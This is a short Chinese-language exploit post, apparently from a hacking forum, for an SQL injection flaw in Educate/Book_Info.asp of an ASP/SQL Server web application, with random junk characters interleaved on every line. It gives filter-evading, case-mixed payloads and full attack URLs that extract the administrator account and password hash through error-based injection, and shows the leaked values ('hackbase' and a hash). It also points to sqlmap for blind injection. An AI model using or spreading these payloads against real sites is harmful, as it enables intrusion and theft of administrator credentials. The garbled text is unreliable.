漏洞出现在Educate/Book_Info.asp 2 v( q+ B1 w5 G3 ?0 R
6 u. `" W* [1 h( l6 w8 V: q
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
: l4 S0 O7 |- I* i j
. x: N& W. }2 a8 f. Z, ?exp:如下
/ c$ U2 P b T+ z7 `$ S0 H查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)! @( A( y+ I6 z# V! E9 ]: v8 b
查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)8 g" Z! L: l+ p* l& |! D
- }6 t( A4 B. U' e$ \
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
7 Z S0 I. j: V1 K
* E) k! f3 }0 d* ?Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
, [- B' c$ K& c" ~/ T
8 E. f" u2 b& X: q' g将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
# } @; q! _) ]4 o4 l$ W) U$ D
/ s' ^3 _ f# z Y# m% @$ w/Educate/Book_Info.asp,行 8
6 }1 o1 `9 |: T/ X: F
! @3 G, A. c8 X) [. mhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
* O) x+ c0 j! B& p4 A _ & R7 S: j4 y- C+ O* |
Microsoft OLE DB Provider for SQL Server 错误 '80040e07': O9 }1 |' j# w' ?6 f0 G i: z
4 d# V) }6 T' m5 y
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
+ S7 a& ?! _3 W+ I
- g! r, c: r$ ^; l" O) u5 U# ~/Educate/Book_Info.asp,行 8
# \! V% o1 u/ ^- Q0 W) v8 a |